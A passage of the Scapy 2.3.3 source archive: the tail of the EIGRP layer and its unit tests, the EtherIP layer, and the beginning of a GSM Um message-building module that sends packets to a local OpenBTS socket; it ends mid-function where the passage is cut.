RepeatedTlvListField("tlvlist", [], _EIGRPGuessPayloadClass) ] def post_build(self, p, pay): p += pay if self.chksum is None: c = checksum(p) p = p[:2] + chr((c >> 8) & 0xff) + chr(c & 0xff) + p[4:] return p def mysummary(self): summarystr = "EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%" if self.opcode == 5 and self.ack != 0: summarystr += " (ACK)" if self.flags != 0: summarystr += " Flags=%EIGRP.flags%" return self.sprintf(summarystr + ")") bind_layers(IP, EIGRP, proto=88) bind_layers(IPv6, EIGRP, nh=88) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="EIGRP") scapy-2.3.3/scapy/contrib/eigrp.uts000066400000000000000000000152201300136037300172540ustar00rootroot00000000000000% EIGRP Tests * Tests for the Scapy EIGRP layer + Basic Layer Tests * These are just some basic tests = EIGRP IPv4 Binding ~ eigrp_ipv4_binding p = IP()/EIGRP() p[IP].proto == 88 = EIGRP IPv6 Binding ~ eigrp_ipv6_binding p = IPv6()/EIGRP() p[IPv6].nh == 88 = EIGRP checksum field ~ eigrp_chksum_field p = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100) s = p[EIGRP].build() struct.unpack("!H", s[2:4])[0] == 64843 + Custom Field Tests * Test funciontally of custom made fields = ShortVersionField nice representation f = ShortVersionField("ver", 3072) f.i2repr(None, 3072) == "v12.0" and f.i2repr(None, 258) == "v1.2" = ShortVersionField h2i function f = ShortVersionField("ver", 0) f.h2i(None, 3073) == f.h2i(None, "v12.1") = EigrpIPField length with prefix length of 8 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=8) f.i2len(None, "") == 1 = EigrpIPField length with prefix length of 12 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=12) f.i2len(None, "") == 2 = EigrpIPField length with prefix length of 24 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=24) f.i2len(None, "") == 3 = EigrpIPField length with prefix length of 28 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=28) f.i2len(None, "") == 4 = EigrpIP6Field length with prefix length of 8 bit f = EigrpIP6Field("ipaddr", "2000::", length=8) f.i2len(None, "") == 2 = EigrpIP6Field length with prefix length of 99 bit f = EigrpIP6Field("ipaddr", "2000::", length=99) f.i2len(None, "") == 13 = EigrpIP6Field length with prefix length of 128 bit f = EigrpIP6Field("ipaddr", "2000::", length=128) f.i2len(None, "") == 16 = EIGRPGuessPayloadClass function: Return Parameters TLV from scapy.contrib.eigrp import _EIGRPGuessPayloadClass isinstance(_EIGRPGuessPayloadClass("\x00\x01"), EIGRPParam) = EIGRPGuessPayloadClass function: Return Authentication Data TLV isinstance(_EIGRPGuessPayloadClass("\x00\x02"), EIGRPAuthData) = EIGRPGuessPayloadClass function: Return Sequence TLV isinstance(_EIGRPGuessPayloadClass("\x00\x03"), EIGRPSeq) = EIGRPGuessPayloadClass function: Return Software Version TLV isinstance(_EIGRPGuessPayloadClass("\x00\x04"), EIGRPSwVer) = EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV isinstance(_EIGRPGuessPayloadClass("\x00\x05"), EIGRPNms) = EIGRPGuessPayloadClass function: Return Stub Router TLV isinstance(_EIGRPGuessPayloadClass("\x00\x06"), EIGRPStub) = EIGRPGuessPayloadClass function: Return Internal Route TLV isinstance(_EIGRPGuessPayloadClass("\x01\x02"), EIGRPIntRoute) = EIGRPGuessPayloadClass function: Return External Route TLV isinstance(_EIGRPGuessPayloadClass("\x01\x03"), EIGRPExtRoute) = EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV isinstance(_EIGRPGuessPayloadClass("\x04\x02"), EIGRPv6IntRoute) = EIGRPGuessPayloadClass function: Return IPv6 External Route TLV isinstance(_EIGRPGuessPayloadClass("\x04\x03"), EIGRPv6ExtRoute) = EIGRPGuessPayloadClass function: Return EIGRPGeneric isinstance(_EIGRPGuessPayloadClass("\x23\x42"), EIGRPGeneric) + TLV List = EIGRP parameters and software version p = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()]) s = '\x45\x00\x00\x3C\x00\x01\x00\x00\x40\x58\x7C\x67\x7F\x00\x00\x01\x7F\x00\x00\x01\x02\x05\xEE\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x01\x00\x0C\x01\x00\x01\x00\x00\x00\x00\x0F\x00\x04\x00\x08\x0C\x00\x01\x02' str(p) == s = EIGRP internal route length field p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst="192.168.1.0")]) struct.unpack("!H", p[EIGRPIntRoute].build()[2:4])[0] == 28 = EIGRP external route length field p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst="10.1.0.0")]) struct.unpack("!H", p[EIGRPExtRoute].build()[2:4])[0] == 47 = EIGRPv6 internal route length field p = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst="2000::")]) struct.unpack("!H", p[EIGRPv6IntRoute].build()[2:4])[0] == 46 = EIGRPv6 external route length field p = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst="2000::")]) struct.unpack("!H", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70 + Stub Flags * The receive-only flag is always set, when a router anounces itself as stub router. = Receive-Only p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="receive-only")]) p[EIGRPStub].flags == 0x0008 = Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+receive-only")]) p[EIGRPStub].flags == 0x0009 = Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+receive-only")]) p[EIGRPStub].flags == 0x000a = Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="summary+receive-only")]) p[EIGRPStub].flags == 0x000c = Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+summary+receive-only")]) p[EIGRPStub].flags == 0x000d = Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+summary+receive-only")]) p[EIGRPStub].flags == 0x000e = Redistributed, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+receive-only")]) p[EIGRPStub].flags == 0x0019 = Redistributed, Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+receive-only")]) p[EIGRPStub].flags == 0x001a = Redistributed, Static, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+connected+receive-only")]) p[EIGRPStub].flags == 0x001b = Redistributed, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+summary+receive-only")]) p[EIGRPStub].flags == 0x001c = Redistributed, Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+summary+receive-only")]) p[EIGRPStub].flags == 0x001d = Connected, Redistributed, Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+redistributed+static+summary+receive-only")]) p[EIGRPStub].flags == 0x001f = Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="leak-map+receive-only")]) p[EIGRPStub].flags == 0x0028 = Connected, Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+leak-map+receive-only")]) p[EIGRPStub].flags == 0x0029 + Routing Updates = External route flag external p = EIGRPExtRoute(flags="external") p.flags == 0x1 = External route flag candidate-default route p = EIGRPExtRoute(flags="candidate-default") p.flags == 0x2 = Multiple internal routing updates p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()]) p[EIGRPIntRoute:2].hopcount == 12 = Multiple external routing updates p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()]) p[EIGRPExtRoute:2].mtu == 23 + Authentication Data TLV = Verify keysize calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata="\xaa\xbb\xcc")]) p[EIGRPAuthData].build()[6:8] == "\x00\x03" = Verify length calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata="\xaa\xbb\xcc\xdd")]) p[EIGRPAuthData].build()[2:4] == "\x00\x1c" scapy-2.3.3/scapy/contrib/etherip.py000066400000000000000000000010001300136037300174120ustar00rootroot00000000000000 # http://trac.secdev.org/scapy/ticket/297 # scapy.contrib.description = EtherIP # scapy.contrib.status = loads from scapy.fields import BitField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP from scapy.layers.l2 import Ether class EtherIP(Packet): name = "EtherIP / RFC 3378" fields_desc = [ BitField("version", 3, 4), BitField("reserved", 0, 12)] bind_layers( IP, EtherIP, frag=0, proto=0x61) bind_layers( EtherIP, Ether) scapy-2.3.3/scapy/contrib/gsm_um.py000066400000000000000000015552131300136037300172660ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = PPI # scapy.contrib.status = loads """ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ #################################################################### # This file holds the GSM UM interface implementation for Scapy # # author: Laurent Weber # # # # Some examples on how to use this script: # # http://0xbadcab1e.lu/scapy_gsm_um-howto.txt # # # # tested on: scapy-version: 2.2.0 (dev) # #################################################################### import logging from types import IntType from types import NoneType from types import StringType #from time import sleep import socket logging.getLogger("scapy").setLevel(1) from scapy.packet import * from scapy.fields import * # This method is intended to send gsm air packets. It uses a unix domain # socket. It opens a socket, sends the parameter to the socket and # closes the socket. # typeSock determines the type of the socket, can be: # 0 for UDP Socket # 1 for Unix Domain Socket # 2 for TCP def sendum(x, typeSock=0): try: if type(x) is not str: x = str(x) if typeSock is 0: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) host = '127.0.0.1' port = 28670 # default for openBTS s.connect((host, port)) elif typeSock is 1: s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect("/tmp/osmoL") elif typeSock is 2: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = '127.0.0.1' port = 43797 s.connect((host, port)) s.send(x) s.close() except: print "[Error]: There was a problem when trying to transmit data.\ Please make sure you started the socket server." # Known Bugs/Problems: # If a message uses multiple times the same IE you cannot set the values # of this IE's if you use the preconfigured packets. You need to build # the IE's by hand and than assemble them as entire messages. # The ErrorLength class is a custom exception that gets raised when a # packet doesn't have the correct size. class ErrorLength(Exception): def __str__(self): error = "ERROR: Please make sure you build entire, 8 bit fields." return repr(error) ### # This method computes the length of the actual IE. # It computes how many "None" fields have to be removed (if any). # The method returns an integer containing the number of bytes that have to be # cut off the packet. # parameter length contains the max length of the IE can be found in # 0408 # The parameter fields contains the value of the fields (not the default but # the real, actual value. # The parameter fields2 contains fields_desc. # Location contains the location of the length field in the IE. Everything # after the the length field has to be counted (04.07 11.2.1.1.2) def adapt(min_length, max_length, fields, fields2, location=2): # find out how much bytes there are between min_length and the location of # the length field location = min_length - location i = len(fields) - 1 rm = mysum = 0 while i >= 0: if fields[i] is None: rm += 1 try: mysum += fields2[i].size except AttributeError: # ByteFields don't have .size mysum += 8 else: break i -= 1 if mysum % 8 is 0: length = mysum / 8 # Number of bytes we have to delete dyn_length = (max_length - min_length - length) if dyn_length < 0: dyn_length = 0 if length is max_length: # Fix for packets that have all values set length -= min_length # to None return [length, dyn_length + location] else: raise ErrorLength() def examples(example=None): if example == None: print """This command presents some example to introduce scapy gsm-um to new users. The following parameters can be used: examples("imsiDetach") examples("call") examples("dissect")""" elif example == "imsiDetach": print """ >>> a=imsiDetachIndication() ... a.typeOfId=1; a.odd=1; a.idDigit1=0xF; ... a.idDigit2_1=2; a.idDigit2=7; a.idDigit3_1=0; ... a.idDigit3=7; a.idDigit4_1=7; a.idDigit4=2; ... a.idDigit5_1=0; a.idDigit5=0; a.idDigit6_1=0; ... a.idDigit6=1; a.idDigit7_1=2; a.idDigit7=7; ... a.idDigit8_1=7; a.idDigit8=5; a.idDigit9_1=1; a.idDigit9=4; >>> hexdump(a) 0000 05 01 00 08 F0 27 07 72 00 01 27 75 14 .....'.r..'u. >>> sendum(a) """ elif example == "call": print """ If you use an USRP and the testcall function this sets up a phonecall: >>> sendum(setupMobileOriginated()) >>> sendum(connectAcknowledge()) """ # Section 10.2/3 class TpPd(Packet): """Skip indicator and transaction identifier and Protocol Discriminator""" name = "Skip Indicator And Transaction Identifier and Protocol \ Discriminator" fields_desc = [ BitField("ti", 0x0, 4), BitField("pd", 0x3, 4) ] class MessageType(Packet): """Message Type Section 10.4""" name = "Message Type" fields_desc = [ XByteField("mesType", 0x3C) ] ## # Message for Radio Resources management (RR) Section 9.1 ### # Network to MS def additionalAssignment(MobileAllocation_presence=0, StartingTime_presence=0): """ADDITIONAL ASSIGNMENT Section 9.1.1""" # Mandatory a = TpPd(pd=0x6) b = MessageType(mesType=0x3B) # 00111011 c = ChannelDescription() packet = a / b / c # Not Mandatory if MobileAllocation_presence is 1: d = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / d if StartingTime_presence is 1: e = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / e return packet # Network to MS def assignmentCommand(FrequencyList_presence=0, CellChannelDescription_presence=0, CellChannelDescription_presence1=0, MultislotAllocation_presence=0, ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0, ChannelDescription=0, ChannelMode2_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, FrequencyList_presence1=0, ChannelDescription2_presence=0, ChannelDescription_presence=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence1=0, CipherModeSetting_presence=0, VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """ASSIGNMENT COMMAND Section 9.1.2""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2e) # 101110 c = ChannelDescription2() d = PowerCommand() packet = a / b / c / d if FrequencyList_presence is 1: e = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0) packet = packet / e if CellChannelDescription_presence is 1: f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / f if MultislotAllocation_presence is 1: g = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0) packet = packet / g if ChannelMode_presence is 1: h = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / h if ChannelMode_presence1 is 1: i = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / i if ChannelMode_presence2 is 1: j = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / j if ChannelMode_presence3 is 1: k = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / k if ChannelMode_presence4 is 1: l = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / l if ChannelMode_presence5 is 1: m = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / m if ChannelMode_presence6 is 1: n = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / n if ChannelMode_presence7 is 1: o = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / o if ChannelDescription_presence is 1: p = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / p if ChannelMode2_presence is 1: q = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0) packet = packet / q if MobileAllocation_presence is 1: r = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / r if StartingTime_presence is 1: s = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / s if FrequencyList_presence1 is 1: t = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / t if ChannelDescription2_presence is 1: u = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0) packet = packet / u if ChannelDescription_presence is 1: v = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0) packet = packet / v if FrequencyChannelSequence_presence is 1: w = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / w if MobileAllocation_presence1 is 1: x = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / x if CipherModeSetting_presence is 1: y = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0) packet = packet / y if VgcsTargetModeIdentication_presence is 1: z = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / z if MultiRateConfiguration_presence is 1: aa = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / aa return packet # MS to Network def assignmentComplete(): """ASSIGNMENT COMPLETE Section 9.1.3""" a = TpPd(pd=0x6) b = MessageType(mesType=0x29) # 00101001 c = RrCause() packet = a / b / c return packet # MS to Network def assignmentFailure(): """ASSIGNMENT FAILURE Section 9.1.4""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2F) # 00101111 c = RrCause() packet = a / b / c return packet # Network to MS def channelModeModify(VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """CHANNEL MODE MODIFY Section 9.1.5""" a = TpPd(pd=0x6) b = MessageType(mesType=0x8) # 0001000 c = ChannelDescription2() d = ChannelMode() packet = a / b / c / d if VgcsTargetModeIdentication is 1: e = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / e if MultiRateConfiguration is 1: f = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / f return packet def channelModeModifyAcknowledge(): """CHANNEL MODE MODIFY ACKNOWLEDGE Section 9.1.6""" a = TpPd(pd=0x6) b = MessageType(mesType=0x17) # 00010111 c = ChannelDescription2() d = ChannelMode() packet = a / b / c / d return packet # Network to MS def channelRelease(BaRange_presence=0, GroupChannelDescription_presence=0, GroupCipherKeyNumber_presence=0, GprsResumption_presence=0, BaListPref_presence=0): """CHANNEL RELEASE Section 9.1.7""" a = TpPd(pd=0x6) b = MessageType(mesType=0xD) # 00001101 c = RrCause() packet = a / b / c if BaRange_presence is 1: d = BaRangeHdr(ieiBR=0x73, eightBitBR=0x0) packet = packet / d if GroupChannelDescription_presence is 1: e = GroupChannelDescriptionHdr(ieiGCD=0x74, eightBitGCD=0x0) packet = packet / e if GroupCipherKeyNumber_presence is 1: f = GroupCipherKeyNumber(ieiGCKN=0x8) packet = packet / f if GprsResumption_presence is 1: g = GprsResumptionHdr(ieiGR=0xC, eightBitGR=0x0) packet = packet / g if BaListPref_presence is 1: h = BaListPrefHdr(ieiBLP=0x75, eightBitBLP=0x0) packet = packet / h return packet class ChannelRequest(Packet): """Channel request Section 9.1.8""" name = "Channel Request" fields_desc = [ ByteField("estCause", 0x0) ] def channelRequest(): return ChannelRequest() # Network to MS def cipheringModeCommand(): """CIPHERING MODE COMMAND Section 9.1.9""" a = TpPd(pd=0x6) b = MessageType(mesType=0x35) # 00110101 c = RrCause() #d=cipherModeSetting() #e=cipherResponse() # FIX d = CipherModeSettingAndcipherResponse() packet = a / b / c / d return packet def cipheringModeComplete(MobileId_presence=0): """CIPHERING MODE COMPLETE Section 9.1.10""" a = TpPd(pd=0x6) b = MessageType(mesType=0x32) # 00110010 packet = a / b if MobileId_presence is 1: c = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / c return packet # Network to MS def classmarkChange(MobileStationClassmark3_presence=0): """CLASSMARK CHANGE Section 9.1.11""" a = TpPd(pd=0x6) b = MessageType(mesType=0x16) # 00010110 c = MobileStationClassmark2() packet = a / b / c if MobileStationClassmark3_presence is 1: e = MobileStationClassmark3(ieiMSC3=0x20) packet = packet / e return packet # Network to MS def classmarkEnquiry(): """CLASSMARK ENQUIRY Section 9.1.12""" a = TpPd(pd=0x6) b = MessageType(mesType=0x13) # 00010011 packet = a / b return packet # 9.1.12a Spare # Network to MS def configurationChangeCommand(ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0): """CONFIGURATION CHANGE COMMAND Section 9.1.12b""" a = TpPd(pd=0x6) b = MessageType(mesType=0x30) # 00110000 c = MultislotAllocation() packet = a / b / c if ChannelMode_presence is 1: d = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / d if ChannelMode_presence1 is 1: e = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / e if ChannelMode_presence2 is 1: f = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / f if ChannelMode_presence3 is 1: g = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / g if ChannelMode_presence4 is 1: h = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / h if ChannelMode_presence5 is 1: i = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / i if ChannelMode_presence6 is 1: j = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / j if ChannelMode_presence7 is 1: k = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / k return packet def configurationChangeAcknowledge(): """CONFIGURATION CHANGE ACKNOWLEDGE Section 9.1.12c""" a = TpPd(pd=0x6) b = MessageType(mesType=0x31) # 00110001 c = MobileId() packet = a / b / c return packet def configurationChangeReject(): """CONFIGURATION CHANGE REJECT Section 9.1.12d""" a = TpPd(pd=0x6) b = MessageType(mesType=0x33) # 00110011 c = RrCause() packet = a / b / c return packet # Network to MS def frequencyRedefinition(CellChannelDescription_presence=0): """Frequency redefinition Section 9.1.13""" a = TpPd(pd=0x6) b = MessageType(mesType=0x14) # 00010100 c = ChannelDescription() d = MobileAllocation() e = StartingTime() packet = a / b / c / d / e if CellChannelDescription_presence is 1: f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / f return packet # Network to MS def pdchAssignmentCommand(ChannelDescription_presence=0, CellChannelDescription_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, FrequencyList_presence=0, ChannelDescription_presence1=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence1=0, PacketChannelDescription_presence=0, DedicatedModeOrTBF_presence=0): """PDCH ASSIGNMENT COMMAND Section 9.1.13a""" a = TpPd(pd=0x6) b = MessageType(mesType=0x23) # 00100011 c = ChannelDescription() packet = a / b / c if ChannelDescription_presence is 1: d = ChannelDescriptionHdr(ieiCD=0x62, eightBitCD=0x0) packet = packet / d if CellChannelDescription_presence is 1: e = CellChannelDescriptionHdr(ieiCCD=0x05, eightBitCCD=0x0) packet = packet / e if MobileAllocation_presence is 1: f = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / f if StartingTime_presence is 1: g = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / g if FrequencyList_presence is 1: h = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / h if ChannelDescription_presence1 is 1: i = ChannelDescriptionHdr(ieiCD=0x1C, eightBitCD=0x0) packet = packet / i if FrequencyChannelSequence_presence is 1: j = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / j if MobileAllocation_presence1 is 1: k = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / k if PacketChannelDescription_presence is 1: l = PacketChannelDescription(ieiPCD=0x22) packet = packet / l if DedicatedModeOrTBF_presence is 1: m = DedicatedModeOrTBFHdr(ieiDMOT=0x23, eightBitDMOT=0x0) packet = packet / m return packet def gprsSuspensionRequest(): """GPRS SUSPENSION REQUEST Section 9.1.13b""" a = TpPd(pd=0x6) b = MessageType() c = Tlli() d = RoutingAreaIdentification() e = SuspensionCause() packet = a / b / c / d / e return packet class HandoverAccess(Packet): name = "Handover Access" # Section 9.1.14" fields_desc = [ ByteField("handover", None), ] # Network to MS def handoverCommand(SynchronizationIndication_presence=0, FrequencyShortList_presence=0, FrequencyList_presence=0, CellChannelDescription_presence=0, MultislotAllocation_presence=0, ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0, ChannelDescription_presence1=0, ChannelMode2_presence=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, TimeDifference_presence=0, TimingAdvance_presence=0, FrequencyShortList_presence1=0, FrequencyList_presence1=0, ChannelDescription2_presence=0, ChannelDescription_presence2=0, FrequencyChannelSequence_presence1=0, MobileAllocation_presence1=0, CipherModeSetting_presence=0, VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """HANDOVER COMMAND Section 9.1.15""" name = "Handover Command" a = TpPd(pd=0x6) b = MessageType(mesType=0x2b) # 00101011 c = CellDescription() d = ChannelDescription2() e = HandoverReference() f = PowerCommandAndAccessType() packet = a / b / c / d / e / f if SynchronizationIndication_presence is 1: g = SynchronizationIndicationHdr(ieiSI=0xD, eightBitSI=0x0) packet = packet / g if FrequencyShortList_presence is 1: h = FrequencyShortListHdr(ieiFSL=0x02) packet = packet / h if FrequencyList_presence is 1: i = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0) packet = packet / i if CellChannelDescription_presence is 1: j = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / j if MultislotAllocation_presence is 1: k = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0) packet = packet / k if ChannelMode_presence is 1: l = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / l if ChannelMode_presence1 is 1: m = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / m if ChannelMode_presence2 is 1: n = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / n if ChannelMode_presence3 is 1: o = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / o if ChannelMode_presence4 is 1: p = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / p if ChannelMode_presence5 is 1: q = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / q if ChannelMode_presence6 is 1: r = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / r if ChannelMode_presence7 is 1: s = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / s if ChannelDescription_presence1 is 1: s1 = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / s1 if ChannelMode2_presence is 1: t = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0) packet = packet / t if FrequencyChannelSequence_presence is 1: u = FrequencyChannelSequenceHdr(ieiFCS=0x69, eightBitFCS=0x0) packet = packet / u if MobileAllocation_presence is 1: v = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / v if StartingTime_presence is 1: w = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / w if TimeDifference_presence is 1: x = TimeDifferenceHdr(ieiTD=0x7B, eightBitTD=0x0) packet = packet / x if TimingAdvance_presence is 1: y = TimingAdvanceHdr(ieiTA=0x7D, eightBitTA=0x0) packet = packet / y if FrequencyShortList_presence1 is 1: z = FrequencyShortListHdr(ieiFSL=0x12) packet = packet / z if FrequencyList_presence1 is 1: aa = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / aa if ChannelDescription2_presence is 1: ab = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0) packet = packet / ab if ChannelDescription_presence2 is 1: ac = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0) packet = packet / ac if FrequencyChannelSequence_presence1 is 1: ad = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / ad if MobileAllocation_presence1 is 1: ae = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / ae if CipherModeSetting_presence is 1: af = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0) packet = packet / af if VgcsTargetModeIdentication_presence is 1: ag = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / ag if MultiRateConfiguration_presence is 1: ah = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / ah return packet def handoverComplete(MobileTimeDifference_presence=0): """HANDOVER COMPLETE Section 9.1.16""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2c) # 00101100 c = RrCause() packet = a / b / c if MobileTimeDifference_presence is 1: d = MobileTimeDifferenceHdr(ieiMTD=0x77, eightBitMTD=0x0) packet = packet / d return packet def handoverFailure(): """HANDOVER FAILURE Section 9.1.17""" a = TpPd(pd=0x6) b = MessageType(mesType=0x28) # 00101000 c = RrCause() packet = a / b / c return packet #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the IA Rest Octets and L2 Pseudo Length information elements. # Network to MS def immediateAssignment(ChannelDescription_presence=0, PacketChannelDescription_presence=0, StartingTime_presence=0): """IMMEDIATE ASSIGNMENT Section 9.1.18""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x3F) # 00111111 d = PageModeAndDedicatedModeOrTBF() packet = a / b / c / d if ChannelDescription_presence is 1: f = ChannelDescription() packet = packet / f if PacketChannelDescription_presence is 1: g = PacketChannelDescription() packet = packet / g h = RequestReference() i = TimingAdvance() j = MobileAllocation() packet = packet / h / i / j if 